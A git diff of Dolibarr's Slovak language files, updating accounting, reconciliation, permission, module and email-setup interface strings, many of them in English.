DescVentilDoneExpenseReport=Consult here the list of the lines of expenses reports and their fees accounting account Closure=Annual closure -DescClosure=Consult here the number of movements by month who are not validated & fiscal years already open -OverviewOfMovementsNotValidated=Step 1/ Overview of movements not validated. (Necessary to close a fiscal year) -AllMovementsWereRecordedAsValidated=All movements were recorded as validated -NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated -ValidateMovements=Validate movements +DescClosure=Consult here the number of movements by month not yet validated & locked +OverviewOfMovementsNotValidated=Overview of movements not validated and locked +AllMovementsWereRecordedAsValidated=All movements were recorded as validated and locked +NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated and locked +ValidateMovements=Validate and lock movements... DescValidateMovements=Any modification or deletion of writing, lettering and deletes will be prohibited. All entries for an exercise must be validated otherwise closing will not be possible ValidateHistory=Priradzovať automaticky AutomaticBindingDone=Automatic bindings done (%s) - Automatic binding not possible for some record (%s) +DoManualBindingForFailedRecord=You have to do a manual link for the %s row(s) not linked automatically. -ErrorAccountancyCodeIsAlreadyUse=Chyba, nemôžete odstrániť tento účtovný účet, pretože sa používa -MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s | Credit = %s +ErrorAccountancyCodeIsAlreadyUse=Error, you cannot remove or disable this account of chart of account because it is used +MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s & Credit = %s Balancing=Balancing FicheVentilation=Viazacia karta GeneralLedgerIsWritten=Transakcie sú zapísané v knihe GeneralLedgerSomeRecordWasNotRecorded=Some of the transactions could not be journalized. If there is no other error message, this is probably because they were already journalized. -NoNewRecordSaved=No more record to journalize -ListOfProductsWithoutAccountingAccount=Zoznam produktov, ktoré nie sú viazané na žiadny účtovný účet +NoNewRecordSaved=No more record to transfer +ListOfProductsWithoutAccountingAccount=List of products not bound to any account of chart of account ChangeBinding=Zmeňte väzbu Accounted=Accounted in ledger NotYetAccounted=Not yet transferred to accounting ShowTutorial=Show Tutorial NotReconciled=Nezlúčené -WarningRecordWithoutSubledgerAreExcluded=Warning, all operations without subledger account defined are filtered and excluded from this view +WarningRecordWithoutSubledgerAreExcluded=Warning, all lines without subledger account defined are filtered and excluded from this view +AccountRemovedFromCurrentChartOfAccount=Accounting account that does not exist in the current chart of accounts ## Admin BindingOptions=Binding options @@ -317,9 +331,10 @@ AccountingJournalType1=Miscellaneous operations AccountingJournalType2=Predaje AccountingJournalType3=Platby AccountingJournalType4=Banka -AccountingJournalType5=Expenses report +AccountingJournalType5=Expense reports AccountingJournalType8=Inventory AccountingJournalType9=Has-new +GenerationOfAccountingEntries=Generation of accounting entries ErrorAccountingJournalIsAlreadyUse=This journal is already use AccountingAccountForSalesTaxAreDefinedInto=Note: Accounting account for Sales tax are defined into menu %s - %s NumberOfAccountancyEntries=Number of entries @@ -327,10 +342,15 @@ NumberOfAccountancyMovements=Number of movements ACCOUNTING_DISABLE_BINDING_ON_SALES=Disable binding & transfer in accountancy on sales (customer invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Disable binding & transfer in accountancy on purchases (vendor invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Disable binding & transfer in accountancy on expense reports (expense reports will not be taken into account in accounting) +ACCOUNTING_ENABLE_LETTERING=Enable the lettering function in the accounting +ACCOUNTING_ENABLE_AUTOLETTERING=Enable the automatic lettering when transferring to accounting ## Export -NotifiedExportDate=Flag exported lines as exported (modification of the lines will not be possible) -NotifiedValidationDate=Validate the exported entries (modification or deletion of the lines will not be possible) +NotExportLettering=Do not export the lettering when generating the file +NotifiedExportDate=Flag exported lines as Exported (to modify a line, you will need to delete the whole transaction and re-transfert it into accounting) +NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "%s" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotifiedExportFull=Export documents ? +DateValidationAndLock=Date validation and lock ConfirmExportFile=Confirmation of the generation of the accounting export file ? ExportDraftJournal=Export draft journal Modelcsv=Vzor exportu @@ -386,7 +406,7 @@ SaleLocal=Local sale SaleExport=Export sale SaleEEC=Sale in EEC SaleEECWithVAT=Sale in EEC with a VAT not null, so we suppose this is NOT an intracommunautary sale and the suggested account is the standard product account. -SaleEECWithoutVATNumber=Sale in EEC with no VAT but the VAT ID of thirdparty is not defined. We fallback on the product account for standard sales. You can fix the VAT ID of thirdparty or the product account if needed. +SaleEECWithoutVATNumber=Sale in EEC with no VAT but the VAT ID of thirdparty is not defined. We fall back on the account for standard sales. You can fix the VAT ID of the thirdparty, or change the product account suggested for binding if needed. ForbiddenTransactionAlreadyExported=Forbidden: The transaction has been validated and/or exported. ForbiddenTransactionAlreadyValidated=Forbidden: The transaction has been validated. ## Dictionary @@ -394,6 +414,26 @@ Range=Rozsah účtovného účtu Calculated=Vypočítané Formula=Vzorec +## Reconcile +LetteringAuto=Reconcile auto +LetteringManual=Reconcile manual +Unlettering=Unreconcile +UnletteringAuto=Unreconcile auto +UnletteringManual=Unreconcile manual +AccountancyNoLetteringModified=No reconcile modified +AccountancyOneLetteringModifiedSuccessfully=One reconcile successfully modified +AccountancyLetteringModifiedSuccessfully=%s reconcile successfully modified +AccountancyNoUnletteringModified=No unreconcile modified +AccountancyOneUnletteringModifiedSuccessfully=One unreconcile successfully modified +AccountancyUnletteringModifiedSuccessfully=%s unreconcile successfully modified + +## Confirm box +ConfirmMassUnletteringAuto=Bulk auto unreconcile confirmation +ConfirmMassUnletteringManual=Bulk manual unreconcile confirmation +ConfirmMassUnletteringQuestion=Are you sure you want to unreconcile the %s selected record(s)? +ConfirmMassDeleteBookkeepingWriting=Bulk Delete confirmation +ConfirmMassDeleteBookkeepingWritingQuestion=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) Are you sure you want to delete the %s selected record(s)? + ## Error SomeMandatoryStepsOfSetupWereNotDone=Some mandatory steps of setup was not done, please complete them ErrorNoAccountingCategoryForThisCountry=Pre krajinu %s nie je k dispozícii žiadna skupina účtovných účtov (pozri Domovská stránka - Nastavenie - slovníky) @@ -406,6 +446,11 @@ Binded=Viazané čiary ToBind=Linky na viazanie UseMenuToSetBindindManualy=Lines not yet bound, use menu %s to make the binding manually SorryThisModuleIsNotCompatibleWithTheExperimentalFeatureOfSituationInvoices=Sorry this module is not compatible with the experimental feature of situation invoices +AccountancyErrorMismatchLetterCode=Mismatch in reconcile code +AccountancyErrorMismatchBalanceAmount=The balance (%s) is not equal to 0 +AccountancyErrorLetteringBookkeeping=Errors have occurred concerning the transactions: %s +ErrorAccountNumberAlreadyExists=The accounting number %s already exists +ErrorArchiveAddFile=Can't put "%s" file in archive ## Import ImportAccountingEntries=Accounting entries @@ -432,6 +477,7 @@ FECFormatMulticurrencyCode=Multicurrency code (Idevise) DateExport=Date export WarningReportNotReliable=Warning, this report is not based on the Ledger, so does not contains transaction modified manually in the Ledger. If your journalization is up to date, the bookkeeping view is more accurate. ExpenseReportJournal=Expense Report Journal -InventoryJournal=Inventory Journal +DocsAlreadyExportedAreExcluded=Docs already exported are excluded +ClickToHideAlreadyExportedLines=Click to hide already exported lines NAccounts=%s accounts diff --git a/htdocs/langs/sk_SK/admin.lang b/htdocs/langs/sk_SK/admin.lang index d1dd653d380..e09a983283d 100644 --- a/htdocs/langs/sk_SK/admin.lang +++ b/htdocs/langs/sk_SK/admin.lang @@ -51,8 +51,6 @@ ClientSortingCharset=Client collation WarningModuleNotActive=Modul %s musí byť povolený WarningOnlyPermissionOfActivatedModules=Iba povolenia týkajúcej sa aktivovaných modulov sú uvedené tu. Môžete aktivovať ďalšie moduly na domovskej-> Nastavenie-> Moduly stránku. DolibarrSetup=Inštalovať alebo aktualizovať Dolibarr -InternalUser=Interný užívateľ -ExternalUser=Externý užívateľ InternalUsers=Interní používatelia ExternalUsers=Externí používatelia UserInterface=User interface @@ -147,6 +145,7 @@ Box=Panel Boxes=Panely MaxNbOfLinesForBoxes=Max. number of lines for widgets AllWidgetsWereEnabled=All available widgets are enabled +WidgetAvailable=Widget available PositionByDefault=Predvolené poradie Position=Pozícia MenusDesc=Menu manažér nastaví obsah dvoch menu panelov ( horizontálne a vertikálne) @@ -294,6 +293,7 @@ MAIN_MAIL_SMTP_SERVER=SMTP/SMTPS Host (default value in php.ini: %s) MAIN_MAIL_SMTP_PORT_NotAvailableOnLinuxLike=SMTP/SMTPS Port (Not defined into PHP on Unix-like systems) MAIN_MAIL_SMTP_SERVER_NotAvailableOnLinuxLike=SMTP/SMTPS Host (Not defined into PHP on Unix-like systems) MAIN_MAIL_EMAIL_FROM=Sender email for automatic emails (default value in php.ini: %s) +EMailHelpMsgSPFDKIM=To prevent Dolibarr emails to be classified as spam, make sure that the server is authorized to send e-mails from this address by SPF and DKIM configuration MAIN_MAIL_ERRORS_TO=Email used for error returns emails (fields 'Errors-To' in emails sent) MAIN_MAIL_AUTOCOPY_TO= Copy (Bcc) all sent emails to MAIN_DISABLE_ALL_MAILS=Disable all email sending (for test purposes or demos) @@ -375,7 +375,7 @@ DoTestSendHTML=Otestujte odosielanie HTML ErrorCantUseRazIfNoYearInMask=Error, can't use option @ to reset counter each year if sequence {yy} or {yyyy} is not in mask. ErrorCantUseRazInStartedYearIfNoYearMonthInMask=Chyba, nemožno použiť voľbu @ li postupnosť {yy} {mm} alebo {yyyy} {mm} nie je v maske. UMask=Umask parameter pre nové súbory na Unix / Linux / BSD / Mac systému súborov. -UMaskExplanation=Tento parameter umožňuje definovať oprávnenia v predvolenom nastavení na súbory vytvorené Dolibarr na serveri (počas nahrávania napríklad).
      To musí byť osmičková hodnota (napr. 0666 znamená čítať a písať pre všetkých).
      Tento parameter je k ničomu, na serveri Windows. +UMaskExplanation=This parameter allow you to define permissions set by default on files created by Dolibarr on server (during upload for example).
      It must be the octal value (for example, 0666 means read and write for everyone.). Recommended value is 0600 or 0660
      This parameter is useless on a Windows server. SeeWikiForAllTeam=Take a look at the Wiki page for a list of contributors and their organization UseACacheDelay= Oneskorenie pre ukladanie do medzipamäte export reakcie v sekundách (0 alebo prázdne bez vyrovnávacej pamäte) DisableLinkToHelpCenter=Hide the link "Need help or support" on the login page @@ -439,8 +439,10 @@ Unique=Unikátna Boolean=Boolean (one checkbox) ExtrafieldPhone = Telefón ExtrafieldPrice = Cena +ExtrafieldPriceWithCurrency=Price with currency ExtrafieldMail = E-mail ExtrafieldUrl = Url +ExtrafieldIP = IP ExtrafieldSelect = Vyberte zoznam ExtrafieldSelectList = Vyberte z tabuľky ExtrafieldSeparator=Separator (not a field) @@ -450,7 +452,7 @@ ExtrafieldCheckBox=Checkboxes ExtrafieldCheckBoxFromList=Checkboxes from table ExtrafieldLink=Odkaz na objekt ComputedFormula=Computed field -ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $object.
      WARNING: Only some properties of $object may be available. If you need a properties not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $object->id < 10 ? round($object->id / 2, 2): ($object->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($obj->id ? $obj->id: ($obj->rowid ? $obj->rowid: $object->id)) > 0)) ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1'

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($object->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' +ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $objectoffield.
      WARNING: If you need properties of an object not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $objectoffield->id < 10 ? round($objectoffield->id / 2, 2): ($objectoffield->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0 ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1')

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' Computedpersistent=Store computed field ComputedpersistentDesc=Computed extra fields will be stored in the database, however, the value will only be recalculated when the object of this field is changed. If the computed field depends on other objects or global data this value might be wrong!! ExtrafieldParamHelpPassword=Leaving this field blank means this value will be stored without encryption (field must be only hidden with star on screen).
      Set 'auto' to use the default encryption rule to save password into database (then value read will be the hash only, no way to retrieve original value) @@ -501,7 +503,8 @@ WarningPHPMail=WARNING: The setup to send emails from the application is using t WarningPHPMailA=- Using the server of the Email Service Provider increases the trustability of your email, so it increases the deliverablity without being flagged as SPAM WarningPHPMailB=- Some Email Service Providers (like Yahoo) do not allow you to send an email from another server than their own server. Your current setup uses the server of the application to send email and not the server of your email provider, so some recipients (the one compatible with the restrictive DMARC protocol), will ask your email provider if they can accept your email and some email providers (like Yahoo) may respond "no" because the server is not theirs, so few of your sent Emails may not be accepted for delivery (be careful also of your email provider's sending quota). WarningPHPMailC=- Using the SMTP server of your own Email Service Provider to send emails is also interesting so all emails sent from application will also be saved into your "Sent" directory of your mailbox. -WarningPHPMailD=Also, it is therefore recommended to change the sending method of e-mails to the value "SMTP". If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by setting the MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP constant to 1 in Home - Setup - Other. +WarningPHPMailD=It is therefore recommended to change the sending method of e-mails to the value "SMTP". +WarningPHPMailDbis=If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by %sclicking here%s. WarningPHPMail2=If your email SMTP provider need to restrict email client to some IP addresses (very rare), this is the IP address of the mail user agent (MUA) for your ERP CRM application: %s. WarningPHPMailSPF=If the domain name in your sender email address is protected by a SPF record (ask your domain name registar), you must add the following IPs in the SPF record of the DNS of your domain: %s. ActualMailSPFRecordFound=Actual SPF record found (for email %s) : %s @@ -514,7 +517,7 @@ PageUrlForDefaultValuesCreate=
      Example:
      For the form to create a new third PageUrlForDefaultValuesList=
      Example:
      For the page that lists third parties, it is %s.
      For URL of external modules installed into custom directory, do not include the "custom/" so use a path like mymodule/mypagelist.php and not custom/mymodule/mypagelist.php.
      If you want default value only if url has some parameter, you can use %s AlsoDefaultValuesAreEffectiveForActionCreate=Also note that overwritting default values for form creation works only for pages that were correctly designed (so with parameter action=create or presend...) EnableDefaultValues=Enable customization of default values -EnableOverwriteTranslation=Enable usage of overwritten translation +EnableOverwriteTranslation=Allow customization of translations GoIntoTranslationMenuToChangeThis=A translation has been found for the key with this code. To change this value, you must edit it from Home-Setup-translation. WarningSettingSortOrder=Warning, setting a default sort order may result in a technical error when going on the list page if field is an unknown field. If you experience such an error, come back to this page to remove the default sort order and restore default behavior. Field=Pole @@ -643,11 +646,13 @@ Module2300Name=Naplánované úlohy Module2300Desc=Scheduled jobs management (alias cron or chrono table) Module2400Name=Events/Agenda Module2400Desc=Track events. Log automatic events for tracking purposes or record manual events or meetings. This is the principal module for good Customer or Vendor Relationship Management. +Module2430Name=Booking Calendar System +Module2430Desc=Provide an online calendar to allow anyone to book rendez-vous, according to predefined ranges or availabilities. Module2500Name=DMS / ECM Module2500Desc=Document Management System / Electronic Content Management. Automatic organization of your generated or stored documents. Share them when you need. -Module2600Name=API/Webové služby ( SOAP server ) +Module2600Name=API / Web services (SOAP server) Module2600Desc=Spustiť Dolibarr SOAP server ponukajúci služby API -Module2610Name=API/Web služby ( REST server ) +Module2610Name=API / Web services (REST server) Module2610Desc=Zapnúť Dolibarr REST server ponúkajúci API službu Module2660Name=Call WebServices (SOAP client) Module2660Desc=Enable the Dolibarr web services client (Can be used to push data/requests to external servers. Only Purchase orders are currently supported.) @@ -658,6 +663,8 @@ Module2900Name=GeoIPMaxmind Module2900Desc=GeoIP MaxMind konverzie možnosti Module3200Name=Unalterable Archives Module3200Desc=Enable an unalterable log of business events. Events are archived in real-time. The log is a read-only table of chained events that can be exported. This module may be mandatory for some countries. +Module3300Name=Module Builder +Module3300Desc=A RAD (Rapid Application Development - low-code and no-code) tool to help developers or advanced users to build their own module/application. Module3400Name=Social Networks Module3400Desc=Enable Social Networks fields into third parties and addresses (skype, twitter, facebook, ...). Module4000Name=HRM @@ -698,7 +705,10 @@ Module62000Name=Incoterms Module62000Desc=Add features to manage Incoterms Module63000Name=Zdroje Module63000Desc=Manage resources (printers, cars, rooms, ...) for allocating to events -Permission11=Prečítajte si zákazníkov faktúry +Module66000Name=Enable OAuth2 authentication +Module66000Desc=Provide a tool to generate and manage OAuth2 tokens. The token can then be used by some other modules. +Module94160Name=Receptions +Permission11=Read customer invoices (and payments) Permission12=Vytvoriť / upraviť zákazníkov faktúr Permission13=Invalidate customer invoices Permission14=Overiť zákazníkov faktúry @@ -842,9 +852,9 @@ Permission286=Export kontaktov Permission291=Prečítajte tarify Permission292=Nastavenie povolení na sadzby Permission293=Modify customer's tariffs -Permission300=Read barcodes -Permission301=Create/modify barcodes -Permission302=Delete barcodes +Permission301=Generate PDF sheets of barcodes +Permission304=Create/modify barcodes +Permission305=Delete barcodes Permission311=Prečítajte služby Permission312=Priradiť službu / predplatné k zmluve Permission331=Prečítajte si záložky @@ -940,7 +950,7 @@ Permission1190=Approve (second approval) purchase orders Permission1191=Export supplier orders and their attributes Permission1201=Získajte výsledok exportu Permission1202=Vytvoriť / Upraviť vývoz -Permission1231=Read vendor invoices +Permission1231=Read vendor invoices (and payments) Permission1232=Create/modify vendor invoices Permission1233=Validate vendor invoices Permission1234=Delete vendor invoices @@ -971,13 +981,14 @@ Permission3301=Generate new modules Permission4001=Read skill/job/position Permission4002=Create/modify skill/job/position Permission4003=Delete skill/job/position -Permission4020=Read evaluations -Permission4021=Create/modify your evaluation -Permission4022=Validate evaluation -Permission4023=Delete evaluation -Permission4030=See comparison menu +Permission4021=Read evaluations (yours and your subordinates) +Permission4022=Create/modify evaluations +Permission4023=Validate evaluation +Permission4025=Delete evaluation +Permission4028=See comparison menu Permission4031=Read personal information Permission4032=Write personal information +Permission4033=Read all evaluations (even those of user not subordinates) Permission10001=Read website content Permission10002=Create/modify website content (html and javascript content) Permission10003=Create/modify website content (dynamic php code). Dangerous, must be reserved to restricted developers. @@ -1081,6 +1092,10 @@ DictionaryAssetDisposalType=Type of disposal of assets TypeOfUnit=Type of unit SetupSaved=Nastavenie uložené SetupNotSaved=Setup not saved +OAuthServiceConfirmDeleteTitle=Delete OAuth entry +OAuthServiceConfirmDeleteMessage=Are you sure you want to delete this OAuth entry ? All existing tokens for it will also be deleted. +ErrorInEntryDeletion=Error in entry deletion +EntryDeleted=Entry deleted BackToModuleList=Back to Module list BackToDictionaryList=Back to Dictionaries list TypeOfRevenueStamp=Type of tax stamp @@ -1222,7 +1237,7 @@ SetupDescription4=%s -> %s

      This software is a suite of m SetupDescription5=Other Setup menu entries manage optional parameters. SetupDescriptionLink=%s - %s SetupDescription3b=Basic parameters used to customize the default behavior of your application (e.g for country-related features). -SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be enabled and configured. Menu entries will appears with the activation of these modules. +SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be activated. Menu entries will appears with the activation of these modules. AuditedSecurityEvents=Security events that are audited NoSecurityEventsAreAduited=No security events are audited. You can enable them from menu %s Audit=Security events @@ -1244,6 +1259,7 @@ AreaForAdminOnly=Setup parameters can be set by administrator users only. SystemInfoDesc=Systémové informácie je rôzne technické informácie získate v režime iba pre čítanie a viditeľné len pre správcov. SystemAreaForAdminOnly=This area is available to administrator users only. Dolibarr user permissions cannot change this restriction. CompanyFundationDesc=Edit the information of your company/organization. Click on "%s" button at the bottom of the page when done. +MoreNetworksAvailableWithModule=More social networks may be available by enabling the module "Social networks". AccountantDesc=If you have an external accountant/bookkeeper, you can edit here its information. AccountantFileNumber=Accountant code DisplayDesc=Parameters affecting the look and presentation of the application can be modified here. @@ -1261,6 +1277,7 @@ TriggerActiveAsModuleActive=Trigger v tomto súbore sú aktívne ako modul %s GeneratedPasswordDesc=Choose the method to be used for auto-generated passwords. DictionaryDesc=Vložte referenčné data. Môžete pridať vaše hodnoty ako základ ConstDesc=This page allows you to edit (override) parameters not available in other pages. These are mostly reserved parameters for developers/advanced troubleshooting only. +MiscellaneousOptions=Miscellaneous options MiscellaneousDesc=Ostatné bezpečnostné parametre sú definované tu. LimitsSetup=Limity / Presné nastavenie LimitsDesc=You can define limits, precisions and optimizations used by Dolibarr here @@ -1294,6 +1311,8 @@ YouMustRunCommandFromCommandLineAfterLoginToUser=Je nutné spustiť tento príka YourPHPDoesNotHaveSSLSupport=SSL funkcia nie je k dispozícii vo vašom PHP DownloadMoreSkins=Ďalšie skiny k stiahnutiu SimpleNumRefModelDesc=Returns the reference number in the format %syymm-nnnn where yy is the year, mm is the month and nnnn is a sequential auto-incrementing number with no reset +SimpleRefNumRefModelDesc=Returns the reference number in the format n where n is a sequential auto-incrementing number with no reset +AdvancedNumRefModelDesc=Returns the reference number in the format %syymm-nnnn where yy is the year, mm is the month and nnnn is a sequential auto-incrementing number with no reset SimpleNumRefNoDateModelDesc=Returns the reference number in the format %s-nnnn where nnnn is a sequential auto-incrementing number with no reset ShowProfIdInAddress=Show professional ID with addresses ShowVATIntaInAddress=Hide intra-Community VAT number @@ -1380,7 +1399,7 @@ GetBarCode=Získať čiarový kód NumberingModules=Numbering models DocumentModules=Document models ##### Module password generation -PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters in lowercase. +PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters. PasswordGenerationNone=Do not suggest a generated password. Password must be typed in manually. PasswordGenerationPerso=Return a password according to your personally defined configuration. SetupPerso=According to your configuration @@ -1434,6 +1453,10 @@ SuppliersPayment=Vendor payments SupplierPaymentSetup=Vendor payments setup InvoiceCheckPosteriorDate=Check facture date before validation InvoiceCheckPosteriorDateHelp=Validating an invoice will be forbidden if its date is anterior to the date of last invoice of same type. +InvoiceOptionCategoryOfOperations=Display the mention "category of operations" on the invoice. +InvoiceOptionCategoryOfOperationsHelp=Depending on the situation, the mention will appear in the form:
      - Category of operations: Delivery of goods
      - Category of operations: Provision of services
      - Category of operations: Mixed - Delivery of goods & provision of services +InvoiceOptionCategoryOfOperationsYes1=Yes, below the address block +InvoiceOptionCategoryOfOperationsYes2=Yes, in the lower left-hand corner ##### Proposals ##### PropalSetup=Obchodné návrhy modul nastavenia ProposalsNumberingModules=Komerčné návrh číslovanie modely @@ -1476,11 +1499,12 @@ WatermarkOnDraftContractCards=Vodoznak na návrhy zmluvy ( nie ak prázdne ) ##### Members ##### MembersSetup=Členovia modul nastavenia MemberMainOptions=Hlavné voľby +MemberCodeChecker=Options for automatic generation of member codes AdherentLoginRequired= Spravovanie Prihlásenie pre každého člena AdherentMailRequired=Email required to create a new member MemberSendInformationByMailByDefault=Zaškrtávacie políčko poslať mailom potvrdenie členom (validácia alebo nové predplatné) je v predvolenom nastavení MemberCreateAnExternalUserForSubscriptionValidated=Create an external user login for each new member subscription validated -VisitorCanChooseItsPaymentMode=Visitor can choose from available payment modes +VisitorCanChooseItsPaymentMode=Visitor can choose from any available payment modes MEMBER_REMINDER_EMAIL=Enable automatic reminder by email of expired subscriptions. Note: Module %s must be enabled and correctly setup to send reminders. MembersDocModules=Document templates for documents generated from member record ##### LDAP setup ##### @@ -1742,8 +1766,8 @@ ActivateFCKeditor=Aktivácia pokročilé editor pre: FCKeditorForNotePublic=WYSIWIG creation/edition of the field "public notes" of elements FCKeditorForNotePrivate=WYSIWIG creation/edition of the field "private notes" of elements FCKeditorForCompany=WYSIWIG creation/edition of the field description of elements (except products/services) -FCKeditorForProduct=WYSIWIG creation/edition of the field description of products/services -FCKeditorForProductDetails=WYSIWIG creation/edition of products details lines for all entities (proposals, orders, invoices, etc...). Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. +FCKeditorForProductDetails=WYSIWIG creation/edition of products description or lines for objects (lines of proposals, orders, invoices, etc...). +FCKeditorForProductDetails2=Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. FCKeditorForMailing= WYSIWIG vytvorenie / edícia pre hromadné eMailings (Nástroje-> e-mailom) FCKeditorForUserSignature=WYSIWIG vytvorenie / edícia užívateľského podpisu FCKeditorForMail=WYSIWIG creation/edition for all mail (except Tools->eMailing) @@ -1766,7 +1790,7 @@ DetailMenuHandler=Menu handler, kde má novú ponuku DetailMenuModule=Názov modulu, pokiaľ položky ponuky pochádzajú z modulu DetailType=Druh ponuky (horný alebo ľavý) DetailTitre=Menu štítok alebo etiketa kód pre preklad -DetailUrl=URL, kde Ponuka poslať (absolútny URL odkaz alebo externý odkaz s http://) +DetailUrl=URL where menu send you (Relative URL link or external link with https://) DetailEnabled=Stav chcete alebo nechcete záznam DetailRight=Podmienka pre zobrazenie neoprávneným sivé menu DetailLangs=Lang názov súboru pre preklad kódu štítok @@ -1810,6 +1834,9 @@ AGENDA_USE_EVENT_TYPE=Use events types (managed in menu Setup -> Dictionaries -> AGENDA_USE_EVENT_TYPE_DEFAULT=Automatically set this default value for type of event in event create form AGENDA_DEFAULT_FILTER_TYPE=Automatically set this type of event in search filter of agenda view AGENDA_DEFAULT_FILTER_STATUS=Automatically set this status for events in search filter of agenda view +AGENDA_EVENT_PAST_COLOR=Past event color +AGENDA_EVENT_CURRENT_COLOR=Current event color +AGENDA_EVENT_FUTURE_COLOR=Future event color AGENDA_DEFAULT_VIEW=Which view do you want to open by default when selecting menu Agenda AGENDA_REMINDER_BROWSER=Enable event reminder on user's browser (When remind date is reached, a popup is shown by the browser. Each user can disable such notifications from its browser notification setup). AGENDA_REMINDER_BROWSER_SOUND=Enable sound notification @@ -1837,7 +1864,7 @@ StockDecreaseForPointOfSaleDisabledbyBatch=Stock decrease in POS is not compatib CashDeskYouDidNotDisableStockDecease=You did not disable stock decrease when making a sale from Point of Sale. Hence a warehouse is required. CashDeskForceDecreaseStockLabel=Stock decrease for batch products was forced. CashDeskForceDecreaseStockDesc=Decrease first by the oldest eatby and sellby dates. -CashDeskReaderKeyCodeForEnter=Key code for "Enter" defined in barcode reader (Example: 13) +CashDeskReaderKeyCodeForEnter=Key ASCII code for "Enter" defined in barcode reader (Example: 13) ##### Bookmark ##### BookmarkSetup=Záložka Nastavenie modulu BookmarkDesc=This module allows you to manage bookmarks. You can also add shortcuts to any Dolibarr pages or external web sites on your left menu. @@ -1875,7 +1902,7 @@ SuppliersInvoiceNumberingModel=Vendor invoices numbering models IfSetToYesDontForgetPermission=If set to a non null value, don't forget to provide permissions to groups or users allowed for the second approval ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=GeoIP MaxMind modul nastavenia -PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation.
      Examples:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoLite2-Country.mmdb +PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation NoteOnPathLocation=Všimnite si, že Vaša IP do súboru záznamu krajiny musia byť vo vnútri adresára si môžete prečítať PHP (PHP open_basedir Skontrolujte nastavenia a oprávnenia súborového systému). YouCanDownloadFreeDatFileTo=Tu si môžete stiahnuť zadarmo demo verziu krajiny GeoIP MaxMind súbor na %s. YouCanDownloadAdvancedDatFileTo=Môžete si tiež stiahnuť úplnejší verziu s aktualizáciou, zo zeme GeoIP MaxMind súbor na %s. @@ -1926,6 +1953,7 @@ BackupDumpWizard=Wizard to build the database dump file BackupZipWizard=Wizard to build the archive of documents directory SomethingMakeInstallFromWebNotPossible=Inštalácia externého modulu z webu nie je možná kôli : SomethingMakeInstallFromWebNotPossible2=For this reason, process to upgrade described here is a manual process only a privileged user may perform. +InstallModuleFromWebHasBeenDisabledContactUs=Install or development of external modules or dynamic websites, from the application, is currently locked for security purpose. Please contact us if you need to enable this feature. InstallModuleFromWebHasBeenDisabledByFile=Install of external module from application has been disabled by your administrator. You must ask him to remove the file %s to allow this feature. ConfFileMustContainCustom=Installing or building an external module from application need to save the module files into directory %s. To have this directory processed by Dolibarr, you must setup your conf/conf.php to add the 2 directive lines:
      $dolibarr_main_url_root_alt='/custom';
